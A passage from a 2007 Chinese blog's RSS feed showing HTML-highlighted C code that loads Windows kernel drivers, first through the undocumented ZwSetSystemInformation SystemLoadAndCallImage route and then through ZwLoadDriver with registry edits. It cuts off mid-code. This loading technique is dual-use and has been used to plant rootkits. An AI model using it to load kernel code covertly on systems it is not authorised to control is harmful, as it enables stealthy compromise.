src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;szDrvFullPath[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szTmp[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Load&nbsp;driver&nbsp;with&nbsp;ZwSetSystemInformation(&nbsp;)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Date:&nbsp;8th&nbsp;May&nbsp;2007\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Modifed&nbsp;by:&nbsp;GaRY&nbsp;&lt;wofeiwo_at_gmail_dot_com&gt;\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-h</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;DriverPath&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;从ntll.dll获取函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(RtlInitUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLINITUNICODESTRING)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlInitUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlInitUnicodeString\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(ZwSetSystemInformation&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ZWSETSYSTEMINFORMATION)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(RtlAnsiStringToUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLANSISTRINGTOUNICODESTRING)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlAnsiStringToUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;GetFullPathName(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Loading&nbsp;driver:&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szDrvFullPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\??\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szDrvFullPath[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;TmpBuff</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Buffer&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(PVOID)szDrvFullPath;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;TmpBuff</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Length&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">(GregsImage</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">ModuleName)</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">TmpBuff</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;NT_SUCCESS(&nbsp;ZwSetSystemInformation(&nbsp;SystemLoadAndCallImage</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">GregsImage</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(SYSTEM_LOAD_AND_CALL_IMAGE))&nbsp;))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">加载进内核空间</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Driver:&nbsp;%s&nbsp;loaded.\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Driver:&nbsp;%s&nbsp;not&nbsp;loaded.\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1188.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-08 20:54 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用ZwLoadDriver加载驱动</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 08 May 2007 07:12:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1184.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1184.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1184.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_LSA_UNICODE_STRING&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;Length;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;MaximumLength;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;Buffer;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;LSA_UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PLSA_UNICODE_STRING;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;LSA_UNICODE_STRING&nbsp;UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PUNICODE_STRING;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;申明ntdll中使用的函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLANSISTRINGTOUNICODESTRING)(PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">DWORD);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLANSISTRINGTOUNICODESTRING&nbsp;RtlAnsiStringToUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLFREEUNICODESTRING)(PVOID);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLFREEUNICODESTRING&nbsp;RtlFreeUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;ZWLOADDRIVER)(PVOID);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>ZWLOADDRIVER&nbsp;ZwLoadDriver;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;LoadDriver(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;szDrvName</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;szDrvPath)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">修改注册表启动驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;szSubKey[</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;LSA_UNICODE_STRING&nbsp;buf1;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;LSA_UNICODE_STRING&nbsp;buf2;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HKEY&nbsp;hkResult;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;Data[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;dwOK;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RegCreateKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">hkResult);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(dwOK</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">ERROR_SUCCESS)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Data[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Type</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ErrorControl</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Start</span><span style="COLOR: 